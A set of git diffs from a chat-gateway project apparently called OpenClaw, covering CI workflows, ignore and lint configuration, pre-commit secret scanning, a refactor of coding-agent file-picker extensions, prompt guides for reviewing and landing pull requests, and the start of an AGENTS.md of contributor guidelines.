with:
github-token: ${{ steps.app-token.outputs.token }}
script: |
const lockAfterHours = 48;
const lockAfterMs = lockAfterHours * 60 * 60 * 1000;
const perPage = 100;
const cutoffMs = Date.now() - lockAfterMs;
const { owner, repo } = context.repo;
let locked = 0;
let inspected = 0;
let page = 1;
while (true) {
const { data: issues } = await github.rest.issues.listForRepo({
owner,
repo,
state: "closed",
sort: "updated",
direction: "desc",
per_page: perPage,
page,
});
if (issues.length === 0) {
break;
}
for (const issue of issues) {
if (issue.pull_request) {
continue;
}
if (issue.locked) {
continue;
}
if (!issue.closed_at) {
continue;
}
inspected += 1;
const closedAtMs = Date.parse(issue.closed_at);
if (!Number.isFinite(closedAtMs)) {
continue;
}
if (closedAtMs > cutoffMs) {
continue;
}
let lastCommentMs = 0;
if (issue.comments > 0) {
const { data: comments } = await github.rest.issues.listComments({
owner,
repo,
issue_number: issue.number,
per_page: 1,
page: 1,
sort: "created",
direction: "desc",
});
if (comments.length > 0) {
lastCommentMs = Date.parse(comments[0].created_at);
}
}
const lastActivityMs = Math.max(closedAtMs, lastCommentMs || 0);
if (lastActivityMs > cutoffMs) {
continue;
}
await github.rest.issues.lock({
owner,
repo,
issue_number: issue.number,
lock_reason: "resolved",
});
locked += 1;
}
page += 1;
}
core.info(`Inspected ${inspected} closed issues; locked ${locked}.`);

View File

@@ -3,13 +3,23 @@ name: Workflow Sanity
on:
pull_request:
push:
branches: [main]
workflow_dispatch:
concurrency:
group: workflow-sanity-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
jobs:
no-tabs:
runs-on: ubuntu-latest
if: github.event_name != 'workflow_dispatch'
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Fail on tabs in workflow files
run: |
@@ -35,3 +45,45 @@ jobs:
print(f"- {path}")
sys.exit(1)
PY
actionlint:
if: github.event_name != 'workflow_dispatch'
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Install actionlint
shell: bash
run: |
set -euo pipefail
ACTIONLINT_VERSION="1.7.11"
archive="actionlint_${ACTIONLINT_VERSION}_linux_amd64.tar.gz"
base_url="https://github.com/rhysd/actionlint/releases/download/v${ACTIONLINT_VERSION}"
curl -sSfL -o "${archive}" "${base_url}/${archive}"
curl -sSfL -o checksums.txt "${base_url}/actionlint_${ACTIONLINT_VERSION}_checksums.txt"
grep " ${archive}\$" checksums.txt | sha256sum -c -
tar -xzf "${archive}" actionlint
sudo install -m 0755 actionlint /usr/local/bin/actionlint
- name: Lint workflows
run: actionlint
- name: Disallow direct inputs interpolation in composite run blocks
run: python3 scripts/check-composite-action-input-interpolation.py
config-docs-drift:
if: github.event_name == 'workflow_dispatch'
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Node environment
uses: ./.github/actions/setup-node-env
with:
install-bun: "false"
use-sticky-disk: "false"
- name: Check config docs drift statefile
run: pnpm config:docs:check

66
.gitignore vendored
View File

@@ -1,13 +1,16 @@
node_modules
**/node_modules/
.env
docker-compose.override.yml
docker-compose.extra.yml
dist
*.bun-build
pnpm-lock.yaml
bun.lock
bun.lockb
coverage
__pycache__/
*.pyc
.tsbuildinfo
.pnpm-store
.worktrees/
.DS_Store
@@ -15,11 +18,24 @@ coverage
ui/src/ui/__screenshots__/
ui/playwright-report/
ui/test-results/
packages/dashboard-next/.next/
packages/dashboard-next/out/
# Mise configuration files
mise.toml
# Android build artifacts
apps/android/.gradle/
apps/android/app/build/
apps/android/.cxx/
apps/android/.kotlin/
# Bun build artifacts
*.bun-build
apps/macos/.build/
apps/shared/MoltbotKit/.build/
apps/shared/OpenClawKit/.build/
apps/shared/OpenClawKit/Package.resolved
**/ModuleCache/
bin/
bin/clawdbot-mac
@@ -27,10 +43,13 @@ bin/docs-list
apps/macos/.build-local/
apps/macos/.swiftpm/
apps/shared/MoltbotKit/.swiftpm/
apps/shared/OpenClawKit/.swiftpm/
Core/
apps/ios/*.xcodeproj/
apps/ios/*.xcworkspace/
apps/ios/.swiftpm/
apps/ios/.derivedData/
apps/ios/.local-signing.xcconfig
vendor/
apps/ios/Clawdbot.xcodeproj/
apps/ios/Clawdbot.xcodeproj/**
@@ -52,7 +71,6 @@ apps/ios/fastlane/screenshots/
apps/ios/fastlane/test_output/
apps/ios/fastlane/logs/
apps/ios/fastlane/.env
apps/ios/fastlane/report.xml
# fastlane build artifacts (local)
apps/ios/*.ipa
@@ -60,18 +78,58 @@ apps/ios/*.dSYM.zip
# provisioning profiles (local)
apps/ios/*.mobileprovision
.env
# Local untracked files
.local/
docs/.local/
tmp/
IDENTITY.md
USER.md
.tgz
.idea
# local tooling
.serena/
# Agent credentials and memory (NEVER COMMIT)
memory/
/memory/
.agent/*.json
!.agent/workflows/
/local/
package-lock.json
.claude/
.agents/
.agents
.agent/
skills-lock.json
# Local iOS signing overrides
apps/ios/LocalSigning.xcconfig
# Xcode build directories (xcodebuild output)
apps/ios/build/
apps/shared/OpenClawKit/build/
Swabble/build/
# Generated protocol schema (produced via pnpm protocol:gen)
dist/protocol.schema.json
.ant-colony/
# Eclipse
**/.project
**/.classpath
**/.settings/
**/.gradle/
# Synthing
**/.stfolder/
.dev-state
docs/superpowers/plans/2026-03-10-collapsed-side-nav.md
docs/superpowers/specs/2026-03-10-collapsed-side-nav-design.md
.gitignore
test/config-form.analyze.telegram.test.ts
ui/src/ui/theme-variants.browser.test.ts
ui/src/ui/__screenshots__
ui/src/ui/views/__screenshots__
ui/.vitest-attachments
docs/superpowers

16
.jscpd.json Normal file
View File

@@ -0,0 +1,16 @@
{
"gitignore": true,
"noSymlinks": true,
"ignore": [
"**/node_modules/**",
"**/dist/**",
"dist/**",
"**/.git/**",
"**/coverage/**",
"**/build/**",
"**/.build/**",
"**/.artifacts/**",
"docs/zh-CN/**",
"**/CHANGELOG.md"
]
}

13
.mailmap Normal file
View File

@@ -0,0 +1,13 @@
# Canonical contributor identity mappings for cherry-picked commits.
bmendonca3 <208517100+bmendonca3@users.noreply.github.com> <brianmendonca@Brians-MacBook-Air.local>
hcl <7755017+hclsys@users.noreply.github.com> <chenglunhu@gmail.com>
Glucksberg <80581902+Glucksberg@users.noreply.github.com> <markuscontasul@gmail.com>
JackyWay <53031570+JackyWay@users.noreply.github.com> <jackybbc@gmail.com>
Marcus Castro <7562095+mcaxtr@users.noreply.github.com> <mcaxtr@gmail.com>
Marc Gratch <2238658+mgratch@users.noreply.github.com> <me@marcgratch.com>
Peter Machona <7957943+chilu18@users.noreply.github.com> <chilu.machona@icloud.com>
Ben Marvell <92585+easternbloc@users.noreply.github.com> <ben@marvell.consulting>
zerone0x <39543393+zerone0x@users.noreply.github.com> <hi@trine.dev>
Marco Di Dionisio <3519682+marcodd23@users.noreply.github.com> <m.didionisio23@gmail.com>
mujiannan <46643837+mujiannan@users.noreply.github.com> <shennan@mujiannan.com>
Santhanakrishnan <239082898+bitfoundry-ai@users.noreply.github.com> <noreply@anthropic.com>

View File

@@ -1,6 +1,6 @@
{
"globs": ["docs/**/*.md", "docs/**/*.mdx", "README.md"],
"ignores": ["docs/zh-CN/**", "docs/.i18n/**", "docs/reference/templates/**"],
"ignores": ["docs/zh-CN/**", "docs/.i18n/**", "docs/reference/templates/**", "**/.local/**"],
"config": {
"default": true,

2
.npmignore Normal file
View File

@@ -0,0 +1,2 @@
**/node_modules/
docs/.generated/

2
.npmrc
View File

@@ -1 +1 @@
allow-build-scripts=@whiskeysockets/baileys,sharp,esbuild,protobufjs,fs-ext,node-pty,@lydell/node-pty,@matrix-org/matrix-sdk-crypto-nodejs
# pnpm build-script allowlist lives in package.json -> pnpm.onlyBuiltDependencies.

View File

@@ -6,14 +6,20 @@
"experimentalSortPackageJson": {
"sortScripts": true,
},
"tabWidth": 2,
"useTabs": false,
"ignorePatterns": [
"apps/",
"assets/",
"CLAUDE.md",
"docker-compose.yml",
"dist/",
"docs/_layouts/",
"node_modules/",
"patches/",
"pnpm-lock.yaml/",
"src/gateway/server-methods/CLAUDE.md",
"src/auto-reply/reply/export-html/",
"Swabble/",
"vendor/",
],

View File

@@ -11,6 +11,8 @@
"eslint-plugin-unicorn/prefer-array-find": "off",
"eslint/no-await-in-loop": "off",
"eslint/no-new": "off",
"eslint/no-shadow": "off",
"eslint/no-unmodified-loop-condition": "off",
"oxc/no-accumulating-spread": "off",
"oxc/no-async-endpoint-handlers": "off",
"oxc/no-map-spread": "off",
@@ -24,10 +26,12 @@
"assets/",
"dist/",
"docs/_layouts/",
"extensions/",
"node_modules/",
"patches/",
"pnpm-lock.yaml/",
"pnpm-lock.yaml",
"skills/",
"src/auto-reply/reply/export-html/template.js",
"src/canvas-host/a2ui/a2ui.bundle.js",
"Swabble/",
"vendor/"

View File

@@ -6,15 +6,7 @@
*/
import type { ExtensionAPI } from "@mariozechner/pi-coding-agent";
import { DynamicBorder } from "@mariozechner/pi-coding-agent";
import {
Container,
Key,
matchesKey,
type SelectItem,
SelectList,
Text,
} from "@mariozechner/pi-tui";
import { showPagedSelectList } from "./ui/paged-select";
interface FileInfo {
status: string;
@@ -108,87 +100,17 @@ export default function (pi: ExtensionAPI) {
}
};
// Show file picker with SelectList
await ctx.ui.custom<void>((tui, theme, _kb, done) => {
const container = new Container();
// Top border
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
// Title
container.addChild(new Text(theme.fg("accent", theme.bold(" Select file to diff")), 0, 0));
// Build select items with colored status
const items: SelectItem[] = files.map((f) => {
let statusColor: string;
switch (f.status) {
case "M":
statusColor = theme.fg("warning", f.status);
break;
case "A":
statusColor = theme.fg("success", f.status);
break;
case "D":
statusColor = theme.fg("error", f.status);
break;
case "?":
statusColor = theme.fg("muted", f.status);
break;
default:
statusColor = theme.fg("dim", f.status);
}
return {
value: f,
label: `${statusColor} ${f.file}`,
};
});
const visibleRows = Math.min(files.length, 15);
let currentIndex = 0;
const selectList = new SelectList(items, visibleRows, {
selectedPrefix: (t) => theme.fg("accent", t),
selectedText: (t) => t, // Keep existing colors
description: (t) => theme.fg("muted", t),
scrollInfo: (t) => theme.fg("dim", t),
noMatch: (t) => theme.fg("warning", t),
});
selectList.onSelect = (item) => {
const items = files.map((file) => ({
value: file,
label: `${file.status} ${file.file}`,
}));
await showPagedSelectList({
ctx,
title: " Select file to diff",
items,
onSelect: (item) => {
void openSelected(item.value as FileInfo);
};
selectList.onCancel = () => done();
selectList.onSelectionChange = (item) => {
currentIndex = items.indexOf(item);
};
container.addChild(selectList);
// Help text
container.addChild(
new Text(theme.fg("dim", " ↑↓ navigate • ←→ page • enter open • esc close"), 0, 0),
);
// Bottom border
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
return {
render: (w) => container.render(w),
invalidate: () => container.invalidate(),
handleInput: (data) => {
// Add paging with left/right
if (matchesKey(data, Key.left)) {
// Page up - clamp to 0
currentIndex = Math.max(0, currentIndex - visibleRows);
selectList.setSelectedIndex(currentIndex);
} else if (matchesKey(data, Key.right)) {
// Page down - clamp to last
currentIndex = Math.min(items.length - 1, currentIndex + visibleRows);
selectList.setSelectedIndex(currentIndex);
} else {
selectList.handleInput(data);
}
tui.requestRender();
},
};
},
});
},
});

View File

@@ -6,15 +6,7 @@
*/
import type { ExtensionAPI } from "@mariozechner/pi-coding-agent";
import { DynamicBorder } from "@mariozechner/pi-coding-agent";
import {
Container,
Key,
matchesKey,
type SelectItem,
SelectList,
Text,
} from "@mariozechner/pi-tui";
import { showPagedSelectList } from "./ui/paged-select";
interface FileEntry {
path: string;
@@ -113,82 +105,30 @@ export default function (pi: ExtensionAPI) {
}
};
// Show file picker with SelectList
await ctx.ui.custom<void>((tui, theme, _kb, done) => {
const container = new Container();
// Top border
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
// Title
container.addChild(new Text(theme.fg("accent", theme.bold(" Select file to open")), 0, 0));
// Build select items with colored operations
const items: SelectItem[] = files.map((f) => {
const ops: string[] = [];
if (f.operations.has("read")) {
ops.push(theme.fg("muted", "R"));
}
if (f.operations.has("write")) {
ops.push(theme.fg("success", "W"));
}
if (f.operations.has("edit")) {
ops.push(theme.fg("warning", "E"));
}
const opsLabel = ops.join("");
return {
value: f,
label: `${opsLabel} ${f.path}`,
};
});
const visibleRows = Math.min(files.length, 15);
let currentIndex = 0;
const selectList = new SelectList(items, visibleRows, {
selectedPrefix: (t) => theme.fg("accent", t),
selectedText: (t) => t, // Keep existing colors
description: (t) => theme.fg("muted", t),
scrollInfo: (t) => theme.fg("dim", t),
noMatch: (t) => theme.fg("warning", t),
});
selectList.onSelect = (item) => {
void openSelected(item.value as FileEntry);
};
selectList.onCancel = () => done();
selectList.onSelectionChange = (item) => {
currentIndex = items.indexOf(item);
};
container.addChild(selectList);
// Help text
container.addChild(
new Text(theme.fg("dim", " ↑↓ navigate • ←→ page • enter open • esc close"), 0, 0),
);
// Bottom border
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
const items = files.map((file) => {
const ops: string[] = [];
if (file.operations.has("read")) {
ops.push("R");
}
if (file.operations.has("write")) {
ops.push("W");
}
if (file.operations.has("edit")) {
ops.push("E");
}
return {
render: (w) => container.render(w),
invalidate: () => container.invalidate(),
handleInput: (data) => {
// Add paging with left/right
if (matchesKey(data, Key.left)) {
// Page up - clamp to 0
currentIndex = Math.max(0, currentIndex - visibleRows);
selectList.setSelectedIndex(currentIndex);
} else if (matchesKey(data, Key.right)) {
// Page down - clamp to last
currentIndex = Math.min(items.length - 1, currentIndex + visibleRows);
selectList.setSelectedIndex(currentIndex);
} else {
selectList.handleInput(data);
}
tui.requestRender();
},
value: file,
label: `${ops.join("")} ${file.path}`,
};
});
await showPagedSelectList({
ctx,
title: " Select file to open",
items,
onSelect: (item) => {
void openSelected(item.value as FileEntry);
},
});
},
});
}

View File

@@ -114,6 +114,17 @@ export default function promptUrlWidgetExtension(pi: ExtensionAPI) {
}
};
const renderPromptMatch = (ctx: ExtensionContext, match: PromptMatch) => {
setWidget(ctx, match);
applySessionName(ctx, match);
void fetchGhMetadata(pi, match.kind, match.url).then((meta) => {
const title = meta?.title?.trim();
const authorText = formatAuthor(meta?.author);
setWidget(ctx, match, title, authorText);
applySessionName(ctx, match, title);
});
};
pi.on("before_agent_start", async (event, ctx) => {
if (!ctx.hasUI) {
return;
@@ -123,14 +134,7 @@ export default function promptUrlWidgetExtension(pi: ExtensionAPI) {
return;
}
setWidget(ctx, match);
applySessionName(ctx, match);
void fetchGhMetadata(pi, match.kind, match.url).then((meta) => {
const title = meta?.title?.trim();
const authorText = formatAuthor(meta?.author);
setWidget(ctx, match, title, authorText);
applySessionName(ctx, match, title);
});
renderPromptMatch(ctx, match);
});
pi.on("session_switch", async (_event, ctx) => {
@@ -177,14 +181,7 @@ export default function promptUrlWidgetExtension(pi: ExtensionAPI) {
return;
}
setWidget(ctx, match);
applySessionName(ctx, match);
void fetchGhMetadata(pi, match.kind, match.url).then((meta) => {
const title = meta?.title?.trim();
const authorText = formatAuthor(meta?.author);
setWidget(ctx, match, title, authorText);
applySessionName(ctx, match, title);
});
renderPromptMatch(ctx, match);
};
pi.on("session_start", async (_event, ctx) => {

View File

@@ -0,0 +1,82 @@
import { DynamicBorder } from "@mariozechner/pi-coding-agent";
import {
Container,
Key,
matchesKey,
type SelectItem,
SelectList,
Text,
} from "@mariozechner/pi-tui";
type CustomUiContext = {
ui: {
custom: <T>(
render: (
tui: { requestRender: () => void },
theme: {
fg: (tone: string, text: string) => string;
bold: (text: string) => string;
},
kb: unknown,
done: () => void,
) => {
render: (width: number) => string;
invalidate: () => void;
handleInput: (data: string) => void;
},
) => Promise<T>;
};
};
export async function showPagedSelectList(params: {
ctx: CustomUiContext;
title: string;
items: SelectItem[];
onSelect: (item: SelectItem) => void;
}): Promise<void> {
await params.ctx.ui.custom<void>((tui, theme, _kb, done) => {
const container = new Container();
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
container.addChild(new Text(theme.fg("accent", theme.bold(params.title)), 0, 0));
const visibleRows = Math.min(params.items.length, 15);
let currentIndex = 0;
const selectList = new SelectList(params.items, visibleRows, {
selectedPrefix: (text) => theme.fg("accent", text),
selectedText: (text) => text,
description: (text) => theme.fg("muted", text),
scrollInfo: (text) => theme.fg("dim", text),
noMatch: (text) => theme.fg("warning", text),
});
selectList.onSelect = (item) => params.onSelect(item);
selectList.onCancel = () => done();
selectList.onSelectionChange = (item) => {
currentIndex = params.items.indexOf(item);
};
container.addChild(selectList);
container.addChild(
new Text(theme.fg("dim", " ↑↓ navigate • ←→ page • enter open • esc close"), 0, 0),
);
container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s)));
return {
render: (width) => container.render(width),
invalidate: () => container.invalidate(),
handleInput: (data) => {
if (matchesKey(data, Key.left)) {
currentIndex = Math.max(0, currentIndex - visibleRows);
selectList.setSelectedIndex(currentIndex);
} else if (matchesKey(data, Key.right)) {
currentIndex = Math.min(params.items.length - 1, currentIndex + visibleRows);
selectList.setSelectedIndex(currentIndex);
} else {
selectList.handleInput(data);
}
tui.requestRender();
},
};
});
}

View File

@@ -9,10 +9,12 @@ Input
- If ambiguous: ask.
Do (end-to-end)
Goal: PR must end in GitHub state = MERGED (never CLOSED). Use `gh pr merge` with `--rebase` or `--squash`.
Goal: PR must end in GitHub state = MERGED (never CLOSED). Prefer `gh pr merge --squash`; use `--rebase` only when preserving commit history is required.
1. Repo clean: `git status`.
2. Identify PR meta (author + head branch):
1. Assign PR to self:
- `gh pr edit <PR> --add-assignee @me`
2. Repo clean: `git status`.
3. Identify PR meta (author + head branch):
```sh
gh pr view <PR> --json number,title,author,headRefName,baseRefName,headRepository --jq '{number,title,author:.author.login,head:.headRefName,base:.baseRefName,headRepo:.headRepository.nameWithOwner}'
@@ -21,50 +23,51 @@ Goal: PR must end in GitHub state = MERGED (never CLOSED). Use `gh pr merge` wit
head_repo_url=$(gh pr view <PR> --json headRepository --jq .headRepository.url)
```
3. Fast-forward base:
4. Fast-forward base:
- `git checkout main`
- `git pull --ff-only`
4. Create temp base branch from main:
5. Create temp base branch from main:
- `git checkout -b temp/landpr-<ts-or-pr>`
5. Check out PR branch locally:
6. Check out PR branch locally:
- `gh pr checkout <PR>`
6. Rebase PR branch onto temp base:
7. Rebase PR branch onto temp base:
- `git rebase temp/landpr-<ts-or-pr>`
- Fix conflicts; keep history tidy.
7. Fix + tests + changelog:
8. Fix + tests + changelog:
- Implement fixes + add/adjust tests
- Update `CHANGELOG.md` and mention `#<PR>` + `@$contrib`
8. Decide merge strategy:
- Rebase if we want to preserve commit history
- Squash if we want a single clean commit
9. Decide merge strategy:
- Squash (preferred): use when we want a single clean commit
- Rebase: use only when we explicitly want to preserve commit history
- If unclear, ask
9. Full gate (BEFORE commit):
- `pnpm lint && pnpm build && pnpm test`
10. Commit via committer (include # + contributor in commit message):
- `committer "fix: <summary> (#<PR>) (thanks @$contrib)" CHANGELOG.md <changed files>`
10. Full gate (BEFORE commit):
- `pnpm lint && pnpm build && pnpm test`
11. Commit via committer (final merge commit only includes PR # + thanks):
- For the final merge-ready commit: `committer "fix: <summary> (#<PR>) (thanks @$contrib)" CHANGELOG.md <changed files>`
- If you need intermediate fix commits before the final merge commit, keep those messages concise and **omit** PR number/thanks.
- `land_sha=$(git rev-parse HEAD)`
11. Push updated PR branch (rebase => usually needs force):
12. Push updated PR branch (rebase => usually needs force):
```sh
git remote add prhead "$head_repo_url.git" 2>/dev/null || git remote set-url prhead "$head_repo_url.git"
git push --force-with-lease prhead HEAD:$head
```
12. Merge PR (must show MERGED on GitHub):
- Rebase: `gh pr merge <PR> --rebase`
- Squash: `gh pr merge <PR> --squash`
13. Merge PR (must show MERGED on GitHub):
- Squash (preferred): `gh pr merge <PR> --squash`
- Rebase (history-preserving fallback): `gh pr merge <PR> --rebase`
- Never `gh pr close` (closing is wrong)
13. Sync main:
14. Sync main:
- `git checkout main`
- `git pull --ff-only`
14. Comment on PR with what we did + SHAs + thanks:
15. Comment on PR with what we did + SHAs + thanks:
```sh
merge_sha=$(gh pr view <PR> --json mergeCommit --jq '.mergeCommit.oid')
gh pr comment <PR> --body "Landed via temp rebase onto main.\n\n- Gate: pnpm lint && pnpm build && pnpm test\n- Land commit: $land_sha\n- Merge commit: $merge_sha\n\nThanks @$contrib!"
```
15. Verify PR state == MERGED:
16. Verify PR state == MERGED:
- `gh pr view <PR> --json state --jq .state`
16. Delete temp branch:
17. Delete temp branch:
- `git branch -D temp/landpr-<ts-or-pr>`

View File

@@ -9,7 +9,19 @@ Input
- If ambiguous: ask.
Do (review-only)
Goal: produce a thorough review and a clear recommendation (READY for /landpr vs NEEDS WORK). Do NOT merge, do NOT push, do NOT make changes in the repo as part of this command.
Goal: produce a thorough review and a clear recommendation (READY FOR /landpr vs NEEDS WORK vs INVALID CLAIM). Do NOT merge, do NOT push, do NOT make changes in the repo as part of this command.
0. Truthfulness + reality gate (required for bug-fix claims)
- Do not trust the issue text or PR summary by default; verify in code and evidence.
- If the PR claims to fix a bug linked to an issue, confirm the bug exists now (repro steps, logs, failing test, or clear code-path proof).
- Prove root cause with exact location (`path/file.ts:line` + explanation of why behavior is wrong).
- Verify fix targets the same code path as the root cause.
- Require a regression test when feasible (fails before fix, passes after fix). If not feasible, require explicit justification + manual verification evidence.
- Hallucination/BS red flags (treat as BLOCKER until disproven):
- claimed behavior not present in repo,
- issue/PR says "fixes #..." but changed files do not touch implicated path,
- only docs/comments changed for a runtime bug claim,
- vague AI-generated rationale without concrete evidence.
1. Identify PR meta + context
@@ -56,6 +68,7 @@ Goal: produce a thorough review and a clear recommendation (READY for /landpr vs
- Any deprecations, docs, types, or lint rules we should adjust?
8. Key questions to answer explicitly
- Is the core claim substantiated by evidence, or is it likely invalid/hallucinated?
- Can we fix everything ourselves in a follow-up, or does the contributor need to update this PR?
- Any blocking concerns (must-fix before merge)?
- Is this PR ready to land, or does it need work?
@@ -65,18 +78,32 @@ Goal: produce a thorough review and a clear recommendation (READY for /landpr vs
A) TL;DR recommendation
- One of: READY FOR /landpr | NEEDS WORK | NEEDS DISCUSSION
- One of: READY FOR /landpr | NEEDS WORK | INVALID CLAIM (issue/bug not substantiated) | NEEDS DISCUSSION
- 13 sentence rationale.
B) What changed
B) Claim verification matrix (required)
- Fill this table:
| Field | Evidence |
| ----------------------------------------------- | -------- |
| Claimed problem | ... |
| Evidence observed (repro/log/test/code) | ... |
| Root cause location (`path:line`) | ... |
| Why this fix addresses that root cause | ... |
| Regression coverage (test name or manual proof) | ... |
- If any row is missing/weak, default to `NEEDS WORK` or `INVALID CLAIM`.
C) What changed
- Brief bullet summary of the diff/behavioral changes.
C) What's good
D) What's good
- Bullets: correctness, simplicity, tests, docs, ergonomics, etc.
D) Concerns / questions (actionable)
E) Concerns / questions (actionable)
- Numbered list.
- Mark each item as:
@@ -84,17 +111,19 @@ D) Concerns / questions (actionable)
- IMPORTANT (should fix before merge)
- NIT (optional)
- For each: point to the file/area and propose a concrete fix or alternative.
- If evidence for the core bug claim is missing, add a `BLOCKER` explicitly.
E) Tests
F) Tests
- What exists.
- What's missing (specific scenarios).
- State clearly whether there is a regression test for the claimed bug.
F) Follow-ups (optional)
G) Follow-ups (optional)
- Non-blocking refactors/tickets to open later.
G) Suggested PR comment (optional)
H) Suggested PR comment (optional)
- Offer: "Want me to draft a PR comment to the author?"
- If yes, provide a ready-to-paste comment summarizing the above, with clear asks.

View File

@@ -18,6 +18,8 @@ repos:
- id: check-added-large-files
args: [--maxkb=500]
- id: check-merge-conflict
- id: detect-private-key
exclude: '(^|/)(\.secrets\.baseline$|\.detect-secrets\.cfg$|\.pre-commit-config\.yaml$|apps/ios/fastlane/Fastfile$|.*\.test\.ts$)'
# Secret detection (same as CI)
- repo: https://github.com/Yelp/detect-secrets
@@ -28,7 +30,7 @@ repos:
- --baseline
- .secrets.baseline
- --exclude-files
- '(^|/)(dist/|vendor/|pnpm-lock\.yaml$|\.detect-secrets\.cfg$)'
- '(^|/)pnpm-lock\.yaml$'
- --exclude-lines
- 'key_content\.include\?\("BEGIN PRIVATE KEY"\)'
- --exclude-lines
@@ -45,7 +47,32 @@ repos:
- '=== "string"'
- --exclude-lines
- 'typeof remote\?\.password === "string"'
- --exclude-lines
- "OPENCLAW_DOCKER_GPG_FINGERPRINT="
- --exclude-lines
- '"secretShape": "(secret_input|sibling_ref)"'
- --exclude-lines
- 'API key rotation \(provider-specific\): set `\*_API_KEYS`'
- --exclude-lines
- 'password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\.auth\.password` -> `gateway\.remote\.password`'
- --exclude-lines
- 'password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\.remote\.password` -> `gateway\.auth\.password`'
- --exclude-files
- '^src/gateway/client\.watchdog\.test\.ts$'
- --exclude-lines
- 'export CUSTOM_API_K[E]Y="your-key"'
- --exclude-lines
- 'grep -q ''N[O]DE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache'' ~/.bashrc \|\| cat >> ~/.bashrc <<''EOF'''
- --exclude-lines
- 'env: \{ MISTRAL_API_K[E]Y: "sk-\.\.\." \},'
- --exclude-lines
- '"ap[i]Key": "xxxxx"(,)?'
- --exclude-lines
- 'ap[i]Key: "A[I]za\.\.\.",'
- --exclude-lines
- '"ap[i]Key": "(resolved|normalized|legacy)-key"(,)?'
- --exclude-lines
- 'sparkle:edSignature="[A-Za-z0-9+/=]+"'
# Shell script linting
- repo: https://github.com/koalaman/shellcheck-precommit
rev: v0.11.0
@@ -69,9 +96,34 @@ repos:
args: [--persona=regular, --min-severity=medium, --min-confidence=medium]
exclude: "^(vendor/|Swabble/)"
# Python checks for skills scripts
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.14.1
hooks:
- id: ruff
files: "^skills/.*\\.py$"
args: [--config, pyproject.toml]
- repo: local
hooks:
- id: skills-python-tests
name: skills python tests
entry: pytest -q skills
language: python
additional_dependencies: [pytest>=8, <9]
pass_filenames: false
files: "^skills/.*\\.py$"
# Project checks (same commands as CI)
- repo: local
hooks:
# pnpm audit --prod --audit-level=high
- id: pnpm-audit-prod
name: pnpm-audit-prod
entry: pnpm audit --prod --audit-level=high
language: system
pass_filenames: false
# oxlint --type-aware src test
- id: oxlint
name: oxlint

1
.prettierignore Normal file
View File

@@ -0,0 +1 @@
docs/.generated/

File diff suppressed because it is too large Load Diff

View File

@@ -48,4 +48,4 @@
--allman false
# Exclusions
--exclude .build,.swiftpm,DerivedData,node_modules,dist,coverage,xcuserdata,Peekaboo,Swabble,apps/android,apps/ios,apps/shared,apps/macos/Sources/MoltbotProtocol
--exclude .build,.swiftpm,DerivedData,node_modules,dist,coverage,xcuserdata,Peekaboo,Swabble,apps/android,apps/ios,apps/shared,apps/macos/Sources/OpenClawProtocol,apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift

View File

@@ -18,7 +18,9 @@ excluded:
- coverage
- "*.playground"
# Generated (protocol-gen-swift.ts)
- apps/macos/Sources/MoltbotProtocol/GatewayModels.swift
- apps/macos/Sources/OpenClawProtocol/GatewayModels.swift
# Generated (generate-host-env-security-policy-swift.mjs)
- apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift
analyzer_rules:
- unused_declaration

193
AGENTS.md
View File

@@ -1,7 +1,45 @@
# Repository Guidelines
- Repo: https://github.com/openclaw/openclaw
- In chat replies, file references must be repo-root relative only (example: `extensions/bluebubbles/src/channel.ts:80`); never absolute paths or `~/...`.
- GitHub issues/comments/PR comments: use literal multiline strings or `-F - <<'EOF'` (or $'...') for real newlines; never embed "\\n".
- GitHub comment footgun: never use `gh issue/pr comment -b "..."` when body contains backticks or shell chars. Always use single-quoted heredoc (`-F - <<'EOF'`) so no command substitution/escaping corruption.
- GitHub linking footgun: dont wrap issue/PR refs like `#24643` in backticks when you want auto-linking. Use plain `#24643` (optionally add full URL).
- PR landing comments: always make commit SHAs clickable with full commit links (both landed SHA + source SHA when present).
- PR review conversations: if a bot leaves review conversations on your PR, address them and resolve those conversations yourself once fixed. Leave a conversation unresolved only when reviewer or maintainer judgment is still needed; do not leave bot-conversation cleanup to maintainers.
- GitHub searching footgun: don't limit yourself to the first 500 issues or PRs when wanting to search all. Unless you're supposed to look at the most recent, keep going until you've reached the last page in the search
- Security advisory analysis: before triage/severity decisions, read `SECURITY.md` to align with OpenClaw's trust model and design boundaries.
- Do not edit files covered by security-focused `CODEOWNERS` rules unless a listed owner explicitly asked for the change or is already reviewing it with you. Treat those paths as restricted surfaces, not drive-by cleanup.
## Auto-close labels (issues and PRs)
- If an issue/PR matches one of the reasons below, apply the label and let `.github/workflows/auto-response.yml` handle comment/close/lock.
- Do not manually close + manually comment for these reasons.
- Why: keeps wording consistent, preserves automation behavior (`state_reason`, locking), and keeps triage/reporting searchable by label.
- `r:*` labels can be used on both issues and PRs.
- `r: skill`: close with guidance to publish skills on Clawhub.
- `r: support`: close with redirect to Discord support + stuck FAQ.
- `r: no-ci-pr`: close test-fix-only PRs for failing `main` CI and post the standard explanation.
- `r: too-many-prs`: close when author exceeds active PR limit.
- `r: testflight`: close requests asking for TestFlight access/builds. OpenClaw does not provide TestFlight distribution yet, so use the standard response (“Not available, build from source.”) instead of ad-hoc replies.
- `r: third-party-extension`: close with guidance to ship as third-party plugin.
- `r: moltbook`: close + lock as off-topic (not affiliated).
- `r: spam`: close + lock as spam (`lock_reason: spam`).
- `invalid`: close invalid items (issues are closed as `not_planned`; PRs are closed).
